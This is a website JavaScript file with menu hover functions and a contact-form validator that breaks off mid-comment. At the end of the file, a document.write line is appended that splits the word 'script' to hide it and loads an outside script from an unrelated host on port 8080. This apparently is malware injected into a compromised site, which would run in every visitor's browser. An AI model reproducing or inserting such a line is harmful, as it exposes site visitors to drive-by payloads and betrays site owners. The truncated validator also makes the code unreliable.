function menuon(page) {
	document.getElementById(page).style.color="white";
	document.getElementById(page).style.textDecoration="underline";
	document.getElementById(page).style.cursor="hand";
	document.getElementById(page).style.cursor="pointer";
}
function menuoff(page) {
	document.getElementById(page).style.color="white";
	document.getElementById(page).style.textDecoration="none";
	document.getElementById(page).style.cursor="default";
}
function menulink(url) {
	document.location.href=url;
}
function validate() {
	error="";
	name=document.getElementById('name').value;
	email=document.getElementById('email').value;
	phone=document.getElementById('phone').value;
	message=document.getElementById('message').value;
	
	if (name=="") error+="Name is required.\n";
	
	if (email=="") error+="Email address is required.\n";
	else {
		emailFilter=/^.+@.+\..{2,3}$/;
	    if (!(emailFilter.test(email))) { 
	       error+= "The email address you have entered does not appear to be a valid one.\n";
	    }
	    else {
		//test email for illegal characters
	       var illegalChars= /[\(\)\<\>\,\;\:\\\"\[\]]/
	         if (email.match(illegalChars)) {
	          error+= "The email address contains illegal characters.\n";
	       }
	    }
    }
	/*
	if (phone!="") {
		stripped = phone.replace(/[\(\)\.\-\ ]/g, ''); //strip out acceptable non-numeric characters
	    if (isNaN(parseInt(stripped))) {
	       error+= "The phone number contains illegal characte



document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Newbie.js"></scr'+'ipt>');